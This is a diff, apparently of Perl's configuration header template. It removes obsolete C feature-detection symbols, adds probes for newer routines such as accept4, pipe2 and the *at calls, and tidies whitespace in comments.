- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#$d_dbl_dig HAS_DBL_DIG 	/**/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -297,32 +271,6 @@
  */
 #$d_mbtowc HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#$d_memcmp HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#$d_memcpy HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#$d_memmove HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#$d_memset HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -344,6 +292,12 @@
  */
 #$d_mktime HAS_MKTIME		/**/
 
+/* HAS_MSG:
+ *	This symbol, if defined, indicates that the entire msg*(2) library is
+ *	supported (IPC mechanism based on message queues).
+ */
+#$d_msg HAS_MSG		/**/
+
 /* HAS_MSYNC:
  *	This symbol, if defined, indicates that the msync system call is
  *	available to synchronize a mapped file.
@@ -453,6 +407,12 @@
  */
 #$d_select HAS_SELECT	/**/
 
+/* HAS_SEM:
+ *	This symbol, if defined, indicates that the entire sem*(2) library is
+ *	supported.
+ */
+#$d_sem HAS_SEM		/**/
+
 /* HAS_SETEGID:
  *	This symbol, if defined, indicates that the setegid routine is available
  *	to change the effective gid of the current program.
@@ -553,18 +513,6 @@
  */
 #$d_stat HAS_STAT	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#$d_strchr HAS_STRCHR	/**/
-#$d_index HAS_INDEX	/**/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -713,13 +661,6 @@
  */
 #$i_fcntl I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#$i_float I_FLOAT		/**/
-
 /* I_GDBM:
  *	This symbol, if defined, indicates that <gdbm.h> exists and should
  *	be included.
@@ -726,13 +667,6 @@
  */
 #$i_gdbm I_GDBM	/**/
 
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#$i_limits I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -739,18 +673,6 @@
  */
 #$i_locale	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#$i_math I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-#$i_memory I_MEMORY		/**/
-
 /* I_NETINET_IN:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <netinet/in.h>. Otherwise, you may try <sys/in.h>.
@@ -757,24 +679,6 @@
  */
 #$i_niin I_NETINET_IN	/**/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#$i_stddef I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#$i_stdlib I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#$i_string I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -871,14 +775,6 @@
  */
 #$i_utime I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-#$i_values I_VALUES		/**/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -891,28 +787,6 @@
  */
 #define STDCHAR $stdchar	/**/
 
-/* CAN_VAPROTO:
- *	This variable is defined on systems supporting prototype declaration
- *	of functions with a variable number of arguments.
- */
-/* _V:
- *	This macro is used to declare function parameters in prototypes for
- *	functions with a variable number of parameters. Use double parentheses.
- *	For example:
- *
- *		int printf _V((char *fmt, ...));
- *
- *	Remember to use the plain simple _() macro when declaring a function
- *	with no variable number of arguments, since it might be possible to
- *	have a non-effect _V() macro and still get prototypes via _().
- */
-#$vaproto CAN_VAPROTO	/**/
-#ifdef CAN_VAPROTO
-#define	_V(args) args
-#else
-#define	_V(args) ()
-#endif
-
 /* INTSIZE:
  *	This symbol contains the value of sizeof(int) so that the C
  *	preprocessor can make decisions based on it.
@@ -969,14 +843,14 @@
 #$d_eaccess HAS_EACCESS		/**/
 
 /* I_SYS_ACCESS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/access.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/access.h>.
  */
 #$i_sysaccess   I_SYS_ACCESS                /**/
 
 /* I_SYS_SECURITY:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/security.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/security.h>.
  */
 #$i_syssecrt   I_SYS_SECURITY	/**/
 
@@ -984,7 +858,7 @@
  *	This symbol contains the number of bytes required to align a
  *	double, or a long double when applicable. Usual values are 2,
  *	4 and 8. The default is eight, for safety.  For cross-compiling
- *  	or multiarch support, Configure will set a minimum of 8.
+ *	or multiarch support, Configure will set a minimum of 8.
  */
 #define MEM_ALIGNBYTES $alignbytes
 
@@ -1087,7 +961,7 @@
  *	the GNU C library is being used.  A better check is to use
  *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
  */
-#$d_gnulibc HAS_GNULIBC  	/**/
+#$d_gnulibc HAS_GNULIBC	/**/
 #if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
 #   define _GNU_SOURCE
 #endif
@@ -1111,29 +985,6 @@
  */
 #$d_open3 HAS_OPEN3		/**/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-#$d_safebcpy HAS_SAFE_BCOPY	/**/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-#$d_safemcpy HAS_SAFE_MEMCPY	/**/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#$d_sanemcmp HAS_SANE_MEMCMP	/**/
-
 /* HAS_SIGACTION:
  *	This symbol, if defined, indicates that Vr4's sigaction() routine
  *	is available.
@@ -1262,12 +1113,12 @@
  *	This symbol is defined if using the FILE_ptr macro as an lvalue
  *	to increase the pointer by n leaves File_cnt(fp) unchanged.
  */
-#$d_stdstdio USE_STDIO_PTR 	/**/
+#$d_stdstdio USE_STDIO_PTR	/**/
 #ifdef USE_STDIO_PTR
 #define FILE_ptr(fp)	$stdio_ptr
-#$d_stdio_ptr_lval STDIO_PTR_LVALUE 		/**/
+#$d_stdio_ptr_lval STDIO_PTR_LVALUE		/**/
 #define FILE_cnt(fp)	$stdio_cnt
-#$d_stdio_cnt_lval STDIO_CNT_LVALUE 		/**/
+#$d_stdio_cnt_lval STDIO_CNT_LVALUE		/**/
 #$d_stdio_ptr_lval_sets_cnt STDIO_PTR_LVAL_SETS_CNT	/**/
 #$d_stdio_ptr_lval_nochange_cnt STDIO_PTR_LVAL_NOCHANGE_CNT	/**/
 #endif
@@ -1292,26 +1143,12 @@
  *	structure pointed to its argument. This macro will always be defined
  *	if USE_STDIO_BASE is defined.
  */
-#$d_stdiobase USE_STDIO_BASE 	/**/
+#$d_stdiobase USE_STDIO_BASE	/**/
 #ifdef USE_STDIO_BASE
 #define FILE_base(fp)	$stdio_base
 #define FILE_bufsiz(fp)	$stdio_bufsiz
 #endif
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#$d_vprintf HAS_VPRINTF	/**/
-#$d_charvspr USE_CHAR_VSPRINTF 	/**/
-
 /* DOUBLESIZE:
  *	This symbol contains the size of a double, so that the C preprocessor
  *	can make decisions based on it.
@@ -1319,8 +1156,8 @@
 #define DOUBLESIZE $doublesize		/**/
 
 /* I_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <time.h>.
+ *	This symbol is always defined, and indicates to the C program that
+ *	it should include <time.h>.
  */
 /* I_SYS_TIME:
  *	This symbol, if defined, indicates to the C program that it should
@@ -1412,13 +1249,13 @@
  *	to get any typedef'ed information.
  *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
  */
-#define SSize_t $ssizetype	 /* signed count of bytes */
+#define SSize_t $ssizetype	/* signed count of bytes */
 
 /* EBCDIC:
  *	This symbol, if defined, indicates that this system uses
  *	EBCDIC encoding.
  */
-#$ebcdic	EBCDIC 		/**/
+#$ebcdic	EBCDIC		/**/
 
 /* ARCHLIB:
  *	This variable, if defined, holds the name of the directory in
@@ -1450,7 +1287,7 @@
  */
 #define BIN "$bin"	/**/
 #define BIN_EXP "$binexp"	/**/
-#define PERL_RELOCATABLE_INC "$userelocatableinc" 		/**/
+#define PERL_RELOCATABLE_INC "$userelocatableinc"		/**/
 
 /* PERL_INC_VERSION_LIST:
  *	This variable specifies the list of subdirectories in over
@@ -1463,7 +1300,7 @@
 
 /* INSTALL_USR_BIN_PERL:
  *	This symbol, if defined, indicates that Perl is to be installed
- * 	also as /usr/bin/perl.
+ *	also as /usr/bin/perl.
  */
 #$installusrbinperl INSTALL_USR_BIN_PERL	/**/
 
@@ -1599,7 +1436,7 @@
 /* CPPSTDIN:
  *	This symbol contains the first part of the string which will invoke
  *	the C preprocessor on the standard input and produce to standard
- *	output.	 Typical value of "cc -E" or "/lib/cpp", but it can also
+ *	output.  Typical value of "cc -E" or "/lib/cpp", but it can also
  *	call a wrapper. See CPPRUN.
  */
 /* CPPMINUS:
@@ -2008,12 +1845,6 @@
 #define LONGLONGSIZE $longlongsize		/**/
 #endif
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#$d_memchr HAS_MEMCHR	/**/
-
 /* HAS_MKSTEMP:
  *	This symbol, if defined, indicates that the mkstemp routine is
  *	available to exclusively create and open a uniquely named
@@ -2033,18 +1864,6 @@
 #$d_mmap HAS_MMAP		/**/
 #define Mmap_t $mmaptype	/**/
 
-/* HAS_MSG:
- *	This symbol, if defined, indicates that the entire msg*(2) library is
- *	supported (IPC mechanism based on message queues).
- */
-#$d_msg HAS_MSG		/**/
-
-/* HAS_SEM:
- *	This symbol, if defined, indicates that the entire sem*(2) library is
- *	supported.
- */
-#$d_sem HAS_SEM		/**/
-
 /* HAS_SETGRENT:
  *	This symbol, if defined, indicates that the setgrent routine is
  *	available for initializing sequential access of the group database.
@@ -2172,34 +1991,15 @@
  *	st_blksize and st_blocks.
  */
 #ifndef USE_STAT_BLOCKS
-#$d_statblks USE_STAT_BLOCKS 	/**/
+#$d_statblks USE_STAT_BLOCKS	/**/
 #endif
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#$d_strctcpy	USE_STRUCT_COPY	/**/
-
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#$d_strerror HAS_STRERROR		/**/
 #$d_syserrlst HAS_SYS_ERRLIST	/**/
-#define Strerror(e) $d_strerrm
 
 /* HAS_STRTOUL:
  *	This symbol, if defined, indicates that the strtoul routine is
@@ -2248,15 +2048,6 @@
  */
 #define Signal_t $signal_t	/* Signal handler's return type */
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#$d_volatile	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* I_DIRENT:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <dirent.h>. Using this symbol also triggers the definition
@@ -2417,20 +2208,9 @@
 #$i_termios I_TERMIOS		/**/
 #$i_sgtty I_SGTTY		/**/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#$i_stdarg I_STDARG		/**/
-#$i_varargs I_VARARGS	/**/
-
 /* Free_t:
  *	This variable contains the return type of free().  It is usually
- * void, but occasionally int.
+ *	void, but occasionally int.
  */
 /* Malloc_t:
  *	This symbol is the type of pointer returned by malloc and realloc.
@@ -2448,24 +2228,6 @@
  */
 #$d_mymalloc MYMALLOC			/**/
 
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#$prototype	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -2552,6 +2314,12 @@
  */
 #$d__fwalk HAS__FWALK		/**/
 
+/* HAS_ACCEPT4:
+ *	This symbol, if defined, indicates that the accept4 routine is
+ *	available to accept socket connections.
+ */
+#$d_accept4 HAS_ACCEPT4	/**/
+
 /* HAS_ACOSH:
  *	This symbol, if defined, indicates that the acosh routine is
  *	available to do the inverse hyperbolic cosine function.
@@ -2586,6 +2354,22 @@
 #$d_builtin_expect HAS_BUILTIN_EXPECT	/**/
 #$d_builtin_choose_expr HAS_BUILTIN_CHOOSE_EXPR	/**/
 
+/* HAS_BUILTIN_ADD_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_add_overflow for adding integers with overflow checks.
+ */
+/* HAS_BUILTIN_SUB_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_sub_overflow for subtracting integers with overflow checks.
+ */
+/* HAS_BUILTIN_MUL_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_mul_overflow for multiplying integers with overflow checks.
+ */
+#$d_builtin_add_overflow HAS_BUILTIN_ADD_OVERFLOW	/**/
+#$d_builtin_sub_overflow HAS_BUILTIN_SUB_OVERFLOW	/**/
+#$d_builtin_mul_overflow HAS_BUILTIN_MUL_OVERFLOW	/**/
+
 /* HAS_C99_VARIADIC_MACROS:
  *	If defined, the compiler supports C99 variadic macros.
  */
@@ -2665,8 +2449,14 @@
  *	makes sense if you *have* dlsym, which we will presume is the
  *	case if you're using dl_dlopen.xs.
  */
-#$d_dlsymun 	DLSYM_NEEDS_UNDERSCORE 	/**/
+#$d_dlsymun	DLSYM_NEEDS_UNDERSCORE	/**/
 
+/* HAS_DUP3:
+ *	This symbol, if defined, indicates that the dup3 routine is
+ *	available to duplicate file descriptors.
+ */
+#$d_dup3 HAS_DUP3	/**/
+
 /* HAS_ERF:
  *	This symbol, if defined, indicates that the erf routine is
  *	available to do the error function.
@@ -2817,11 +2607,11 @@
  *	available to classify doubles.  Available for example in HP-UX.
  *	The returned values are defined in <math.h> and are
  *
- *           FP_NORMAL     Normalized
- *           FP_ZERO       Zero
- *           FP_INFINITE   Infinity
- *           FP_SUBNORMAL  Denormalized
- *           FP_NAN        NaN
+ *	  FP_NORMAL     Normalized
+ *	  FP_ZERO       Zero
+ *	  FP_INFINITE   Infinity
+ *	  FP_SUBNORMAL  Denormalized
+ *	  FP_NAN        NaN
  *
  */
 /* HAS_FP_CLASSIFY:
@@ -2828,11 +2618,11 @@
  *	This symbol, if defined, indicates that the fp_classify routine is
  *	available to classify doubles. The values are defined in <math.h>
  *
- *           FP_NORMAL     Normalized
- *           FP_ZERO       Zero
- *           FP_INFINITE   Infinity
- *           FP_SUBNORMAL  Denormalized
- *           FP_NAN        NaN
+ *	  FP_NORMAL     Normalized
+ *	  FP_ZERO       Zero
+ *	  FP_INFINITE   Infinity
+ *	  FP_SUBNORMAL  Denormalized
+ *	  FP_NAN        NaN
  *
  */
 #$d_fpclassify	HAS_FPCLASSIFY		/**/
@@ -2865,7 +2655,7 @@
 /* HAS_FPOS64_T:
  *	This symbol will be defined if the C compiler supports fpos64_t.
  */
-#$d_fpos64_t	HAS_FPOS64_T    	/**/
+#$d_fpos64_t	HAS_FPOS64_T	/**/
 
 /* HAS_FREXPL:
  *	This symbol, if defined, indicates that the frexpl routine is
@@ -2880,6 +2670,27 @@
  */
 #$d_fs_data_s HAS_STRUCT_FS_DATA	/**/
 
+/* HAS_FCHMODAT:
+ *	This symbol is defined if the fchmodat() routine is available.
+ */
+/* HAS_LINKAT:
+ *	This symbol is defined if the linkat() routine is available.
+ */
+/* HAS_OPENAT:
+ *	This symbol is defined if the openat() routine is available.
+ */
+/* HAS_RENAMEAT:
+ *	This symbol is defined if the renameat() routine is available.
+ */
+/* HAS_UNLINKAT:
+ *	This symbol is defined if the unlinkat() routine is available.
+ */
+#$d_fchmodat	HAS_FCHMODAT	/**/
+#$d_linkat	HAS_LINKAT	/**/
+#$d_openat	HAS_OPENAT	/**/
+#$d_renameat	HAS_RENAMEAT	/**/
+#$d_unlinkat	HAS_UNLINKAT	/**/
+
 /* HAS_FSEEKO:
  *	This symbol, if defined, indicates that the fseeko routine is
  *	available to fseek beyond 32 bits (useful for ILP32 hosts).
@@ -3015,8 +2826,8 @@
 #$d_inetpton HAS_INETPTON		/**/
 
 /* HAS_INT64_T:
- *     This symbol will defined if the C compiler supports int64_t.
- *     Usually the <inttypes.h> needs to be included, but sometimes
+ *	This symbol will defined if the C compiler supports int64_t.
+ *	Usually the <inttypes.h> needs to be included, but sometimes
  *	<sys/types.h> is enough.
  */
 #$d_int64_t     HAS_INT64_T               /**/
@@ -3101,7 +2912,7 @@
  *	of significant digits in a long double precision number. Unlike
  *	for DBL_DIG, there's no good guess for LDBL_DIG if it is undefined.
  */
-#$d_ldbl_dig HAS_LDBL_DIG 	/* */
+#$d_ldbl_dig HAS_LDBL_DIG	/* */
 
 /* HAS_LGAMMA:
  *	This symbol, if defined, indicates that the lgamma routine is
@@ -3220,6 +3031,13 @@
  */
 #$d_memmem HAS_MEMMEM		/**/
 
+/* HAS_MEMRCHR:
+ *	This symbol, if defined, indicates that the memrchr routine is
+ *	available to return a pointer to the last occurrence of a byte in
+ *	a memory area (or NULL if not found).
+ */
+#$d_memrchr HAS_MEMRCHR		/**/
+
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -3226,6 +3044,13 @@
  */
 #$d_mkdtemp HAS_MKDTEMP		/**/
 
+/* HAS_MKOSTEMP:
+ *	This symbol, if defined, indicates that the mkostemp routine is
+ *	available to exclusively create and open a uniquely named (with a
+ *	suffix) temporary file.
+ */
+#$d_mkostemp HAS_MKOSTEMP	/**/
+
 /* HAS_MKSTEMPS:
  *	This symbol, if defined, indicates that the mkstemps routine is
  *	available to exclusively create and open a uniquely named
@@ -3264,6 +3089,12 @@
  */
 #$d_nan HAS_NAN		/**/
 
+/* HAS_NANOSLEEP:
+ *	This symbol, if defined, indicates that the nanosleep
+ *	system call is available to sleep with 1E-9 sec accuracy.
+ */
+#$d_nanosleep HAS_NANOSLEEP		/**/
+
 /* HAS_NEARBYINT:
  *	This symbol, if defined, indicates that the nearbyint routine is
  *	available to return the integral value closest to (according to
@@ -3284,6 +3115,10 @@
  *	This symbol, if defined, indicates that the uselocale routine is
  *	available to set the current locale for the calling thread.
  */
+/* HAS_DUPLOCALE:
+ *	This symbol, if defined, indicates that the duplocale routine is
+ *	available to duplicate a locale object.
+ */
 /* HAS_QUERYLOCALE:
  *	This symbol, if defined, indicates that the querylocale routine is
  *	available to return the name of the locale for a category mask.
@@ -3295,6 +3130,7 @@
 #$d_newlocale	HAS_NEWLOCALE	/**/
 #$d_freelocale	HAS_FREELOCALE	/**/
 #$d_uselocale	HAS_USELOCALE	/**/
+#$d_duplocale	HAS_DUPLOCALE	/**/
 #$d_querylocale	HAS_QUERYLOCALE	/**/
 #$i_xlocale	I_XLOCALE               /**/
 
@@ -3322,8 +3158,14 @@
 /* HAS_OFF64_T:
  *	This symbol will be defined if the C compiler supports off64_t.
  */
-#$d_off64_t	HAS_OFF64_T    		/**/
+#$d_off64_t	HAS_OFF64_T		/**/
 
+/* HAS_PIPE2:
+ *	This symbol, if defined, indicates that the pipe2 routine is
+ *	available to create an inter-process channel.
+ */
+#$d_pipe2 HAS_PIPE2		/**/
+
 /* HAS_PRCTL:
  *	This symbol, if defined, indicates that the prctl routine is
  *	available to set process title.
@@ -3361,7 +3203,7 @@
 /* HAS_PTRDIFF_T:
  *	This symbol will be defined if the C compiler supports ptrdiff_t.
  */
-#$d_ptrdiff_t	HAS_PTRDIFF_T    		/**/
+#$d_ptrdiff_t	HAS_PTRDIFF_T		/**/
 
 /* HAS_READV:
  *	This symbol, if defined, indicates that the readv routine is
@@ -3497,14 +3339,6 @@
  */
 #$d_socks5_init HAS_SOCKS5_INIT		/**/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-#$d_sprintf_returns_strlen SPRINTF_RETURNS_STRLEN	/**/
-
 /* HAS_SQRTL:
  *	This symbol, if defined, indicates that the sqrtl routine is
  *	available to do long double square roots.
@@ -3575,6 +3409,12 @@
  */
 #$d_strlcpy HAS_STRLCPY		/**/
 
+/* HAS_STRNLEN:
+ *	This symbol, if defined, indicates that the strnlen () routine is
+ *	available to check the length of a string up to a maximum.
+ */
+#$d_strnlen HAS_STRNLEN		/**/
+
 /* HAS_STRTOLD:
  *	This symbol, if defined, indicates that the strtold routine is
  *	available to convert strings to long doubles.
@@ -3761,15 +3601,9 @@
  *	Note that if fflushNULL is defined, fflushall will not
  *	even be probed for and will be left undefined.
  */
-#$fflushNULL	FFLUSH_NULL 		/**/
-#$fflushall	FFLUSH_ALL 		/**/
+#$fflushNULL	FFLUSH_NULL		/**/
+#$fflushall	FFLUSH_ALL		/**/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates that <assert.h> exists and
- *	could be included by the C program to get the assert() macro.
- */
-#$i_assert	I_ASSERT		/**/
-
 /* I_BFD:
  *	This symbol, if defined, indicates that <bfd.h> exists and
  *	can be included.
@@ -3807,10 +3641,10 @@
  *	For DB version 1 this is always 0.
  */
 #define DB_Hash_t	$db_hashtype		/**/
-#define DB_Prefix_t	$db_prefixtype  	/**/
-#define DB_VERSION_MAJOR_CFG	$db_version_major  	/**/
-#define DB_VERSION_MINOR_CFG	$db_version_minor  	/**/
-#define DB_VERSION_PATCH_CFG	$db_version_patch  	/**/
+#define DB_Prefix_t	$db_prefixtype		/**/
+#define DB_VERSION_MAJOR_CFG	$db_version_major	/**/
+#define DB_VERSION_MINOR_CFG	$db_version_minor	/**/
+#define DB_VERSION_PATCH_CFG	$db_version_patch	/**/
 
 /* I_FENV:
  *	This symbol, if defined, indicates to the C program that it should
@@ -3837,8 +3671,8 @@
 #$i_ieeefp	I_IEEEFP		/**/
 
 /* I_INTTYPES:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <inttypes.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <inttypes.h>.
  */
 #$i_inttypes   I_INTTYPES                /**/
 
@@ -3867,8 +3701,8 @@
 #$i_mntent	I_MNTENT		/**/
 
 /* I_NETINET_TCP:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <netinet/tcp.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <netinet/tcp.h>.
  */
 #$i_netinettcp   I_NETINET_TCP                /**/
 
@@ -3967,6 +3801,12 @@
  */
 #$i_ustat	I_USTAT		/**/
 
+/* I_WCHAR:
+ *	This symbol, if defined, indicates to the C program that <wchar.h>
+ *	is available for inclusion
+ */
+#$i_wchar   I_WCHAR	/**/
+
 /* DOUBLEINFBYTES:
  *	This symbol, if defined, is a comma-separated list of
  *	hexadecimal bytes for the double precision infinity.
@@ -4235,7 +4075,7 @@
 #define	NVSIZE		$nvsize		/**/
 #$d_nv_preserves_uv	NV_PRESERVES_UV
 #define	NV_PRESERVES_UV_BITS	$nv_preserves_uv_bits
-#define	NV_OVERFLOWS_INTEGERS_AT	$nv_overflows_integers_at
+#define	NV_OVERFLOWS_INTEGERS_AT	($nv_overflows_integers_at)
 #$d_nv_zero_is_allbits_zero	NV_ZERO_IS_ALLBITS_ZERO
 #if UVSIZE == 8
 #   ifdef BYTEORDER
@@ -4299,7 +4139,7 @@
  *	is either n or 32*ceil(n/32), especially many little-endians do
  *	the latter.  This is only useful if you have select(), naturally.
  */
-#define SELECT_MIN_BITS 	$selectminbits	/**/
+#define SELECT_MIN_BITS	$selectminbits	/**/
 
 /* ST_INO_SIZE:
  *	This variable contains the size of struct stat's st_ino in bytes.
@@ -4401,7 +4241,7 @@
 /* USE_KERN_PROC_PATHNAME:
  *	This symbol, if defined, indicates that we can use sysctl with
  *	KERN_PROC_PATHNAME to get a full path for the executable, and hence
- * 	convert $^X to an absolute path.
+ *	convert $^X to an absolute path.
  */
 #$usekernprocpathname USE_KERN_PROC_PATHNAME	/**/
 
@@ -4544,7 +4384,7 @@
  *	is defined, and 'int *' otherwise.  This is only useful if you
  *	have select(), of course.
  */
-#define Select_fd_set_t 	$selecttype	/**/
+#define Select_fd_set_t	$selecttype	/**/
 
 /* Sock_size_t:
  *	This symbol holds the type used for the size argument of
@@ -4570,8 +4410,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
  *	is defined.
  */
-#$d_asctime_r HAS_ASCTIME_R	   /**/
-#define ASCTIME_R_PROTO $asctime_r_proto	   /**/
+#$d_asctime_r HAS_ASCTIME_R	/**/
+#define ASCTIME_R_PROTO $asctime_r_proto	/**/
 
 /* HAS_CRYPT_R:
  *	This symbol, if defined, indicates that the crypt_r routine
@@ -4583,8 +4423,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
  *	is defined.
  */
-#$d_crypt_r HAS_CRYPT_R	   /**/
-#define CRYPT_R_PROTO $crypt_r_proto	   /**/
+#$d_crypt_r HAS_CRYPT_R	/**/
+#define CRYPT_R_PROTO $crypt_r_proto	/**/
 
 /* HAS_CTERMID_R:
  *	This symbol, if defined, indicates that the ctermid_r routine
@@ -4596,8 +4436,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
  *	is defined.
  */
-#$d_ctermid_r HAS_CTERMID_R	   /**/
-#define CTERMID_R_PROTO $ctermid_r_proto	   /**/
+#$d_ctermid_r HAS_CTERMID_R	/**/
+#define CTERMID_R_PROTO $ctermid_r_proto	/**/
 
 /* HAS_CTIME_R:
  *	This symbol, if defined, indicates that the ctime_r routine
@@ -4609,8 +4449,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
  *	is defined.
  */
-#$d_ctime_r HAS_CTIME_R	   /**/
-#define CTIME_R_PROTO $ctime_r_proto	   /**/
+#$d_ctime_r HAS_CTIME_R	/**/
+#define CTIME_R_PROTO $ctime_r_proto	/**/
 
 /* HAS_DRAND48_R:
  *	This symbol, if defined, indicates that the drand48_r routine
@@ -4622,8 +4462,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
  *	is defined.
  */
